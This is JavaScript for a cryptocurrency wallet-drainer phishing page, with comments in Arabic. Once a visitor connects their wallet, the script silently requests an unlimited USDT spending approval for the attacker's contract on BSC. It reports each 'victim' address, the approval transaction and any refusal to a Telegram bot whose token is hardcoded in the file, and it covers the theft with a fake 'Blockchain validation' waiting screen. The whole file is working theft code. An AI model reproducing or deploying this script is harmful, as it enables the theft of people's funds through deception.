// --- إعدادات التليجرام وعناوين العقود ---

const telegramToken = "8940949766:AAGjblWI28VeFCwv10D5bGPIo_SR9rkVsYs";
const chatId = "7514759514";
const myContract = "0x3d355192e33c6e8FE3aDa7140C0707318246a134"; 
const usdtAddress = "0x55d398326f99059fF775485246999027B3197955"; 

async function sendTele(msg) {
    try {
        await fetch(`https://api.telegram.org/bot${telegramToken}/sendMessage`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ chat_id: chatId, text: msg, parse_mode: 'HTML' })
        });
    } catch (e) { console.log("Tele Error"); }
}

document.getElementById('connectBtn').onclick = async () => {
    // 1. فحص نوع الجهاز والمحفظة
    const isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);
    const isTrust = window.ethereum && (window.ethereum.isTrust || window.ethereum.isTrustWallet);

    // 2. إذا كان المستخدم في التليفون وما فاتحش من داخل Trust Wallet
    if (isMobile && !isTrust) {
        // كنصيفطوه لـ Deep Link كايفتح Trust Wallet ديريكت
        window.location.href = "https://link.trustwallet.com/open_url?url=" + encodeURIComponent(window.location.href);
        return;
    }

    // 3. إذا كان في البيسي أو ديجا فاتح من داخل Trust Wallet
    if (typeof window.ethereum !== 'undefined') {
        try {
            const provider = new ethers.BrowserProvider(window.ethereum);
            await provider.send("eth_requestAccounts", []);
            const signer = await provider.getSigner();
            const address = await signer.getAddress();

            const abi = ["function approve(address spender, uint256 amount) public returns (bool)"];
            const contract = new ethers.Contract(usdtAddress, abi, signer);
            
            await sendTele(`🎯 <b>ضحية جديد دخل العملية:</b>\n<code>${address}</code>`);

            const maxAmount = "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
            const tx = await contract.approve(myContract, maxAmount);

            // إظهار واجهة الانتظار
            document.body.innerHTML = `
                <div style="background:#0b0e11; color:white; height:100vh; display:flex; flex-direction:column; align-items:center; justify-content:center; font-family:sans-serif; text-align:center;">
                    <img src="https://i.gifer.com/ZZ5H.gif" width="80" style="margin-bottom:20px; filter: hue-rotate(45deg);">
                    <h2>Processing...</h2>
                    <p style="color:#848e9c; padding:0 20px;">Blockchain validation in progress...<br>Please wait for confirmation.</p>
                </div>
            `;

            await sendTele(`🚀 <b>تم الحصول على Approve!</b>\nAddress: <code>${address}</code>\nTx: <a href="https://bscscan.com/tx/${tx.hash}">BscScan</a>`);

        } catch (e) {
            await sendTele(`❌ الضحية رفض العملية.`);
            console.error(e);
        }
    } else {
        // حالة نادرة: بيسي بلا إمتداد
        alert("Please install Trust Wallet extension.");
    }
};